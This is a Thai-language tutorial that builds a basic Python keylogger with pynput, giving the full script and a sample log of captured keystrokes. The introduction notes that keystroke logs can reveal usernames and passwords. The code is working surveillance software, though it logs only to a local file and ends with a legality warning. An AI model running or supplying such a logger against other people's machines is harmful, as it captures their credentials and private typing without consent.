ที่นี่เราจะพัฒนา keylogger โดยใช้ Python แต่ก่อนอื่น keylogger คืออะไร? Keylogger คือโปรแกรมที่เราติดตามการกดแป้นพิมพ์ การกดแป้นเหล่านี้จะถูกจัดเก็บในไฟล์ log เราสามารถบันทึกข้อมูลละเอียดอ่อน เช่น ชื่อผู้ใช้และรหัสผ่าน ได้โดยใช้การกดแป้นนี้
เพื่อสร้าง keylogger เราจะใช้โมดูล pynput เนื่องจากไม่ใช่ไลบรารีมาตรฐานของ Python เราอาจต้องติดตั้งมัน
การติดตั้งโมดูล pyxhook:
ฉันจะใช้ pip ติดตั้ง pynput:
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
เพื่อตรวจสอบว่าการติดตั้งสำเร็จ ลองนำเข้าโมดูลใน Python shell ของคุณ:
>> import pynput >>>
เริ่มสร้าง Keylogger
เมื่อไลบรารีที่จำเป็นติดตั้งแล้ว ให้นำเข้าแพ็กเกจและเมธอดที่จำเป็น เพื่อติดตามคีย์บอร์ด เราจะใช้เมธอด key และ listener ของโมดูล pynput.keyboard เราจะใช้โมดูล logging เพื่อบันทึกการกดแป้นในไฟล์
from pynput.keyboard import Key, Listener import logging
ต่อไป เราจะตั้งค่าเส้นทางที่เราจะจัดเก็บไฟล์ log ของเรา โหมดที่ log จะถูกจัดเก็บ และรูปแบบ
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
จากนั้นเราเรียกฟังก์ชัน on_press() ซึ่งสร้างนิยามสำหรับการกดแป้นและรับ key เป็นพารามิเตอร์
def on_press(key):
logging.info(str(key))
สิ่งสุดท้ายที่เราจะทำคือตั้งค่าอินสแตนซ์ของ Listener และกำหนดเมธอด on_press ในมัน แล้ว join อินสแตนซ์ไปยังเธรดหลัก
with Listener(on_press=on_press) as listener:
listener.join()
เมื่อรวมขั้นตอนที่กล่าวมาข้างต้น เราอยู่ในขั้นตอนที่พร้อมสร้างโปรแกรมสุดท้าย:
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
ขณะที่สคริปต์ของฉันกำลังรัน ฉันพยายามเปิดเบราว์เซอร์และพิมพ์ "hello world, Wikipedia" มาดูสิว่าสิ่งที่เกิดขึ้นกับไฟล์ log ของเรา:
ฉันเห็น ไฟล์ "keyLog.txt" ถูกสร้างบนเดสก์ท็อปคอมพิวเตอร์ของฉัน และหากฉันลองดูเนื้อหา จะได้:
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
ดังนั้นเราเห็นว่าทุกสิ่งที่ฉันพยายามพิมพ์ในเบราว์เซอร์ ทุกการกดแป้นถูกจัดเก็บในไฟล์นี้ ดังนั้น เราได้ทำ keylogger ที่เรียบง่ายมากใน Python ที่นี่
หมายเหตุ: การสร้างและใช้ keylogger อาจละเมิดกฎหมายและจริยธรรมในบางบริบท โปรดใช้เพื่อการศึกษาหรือวัตถุประสงค์ที่ชอบด้วยกฎหมายเท่านั้น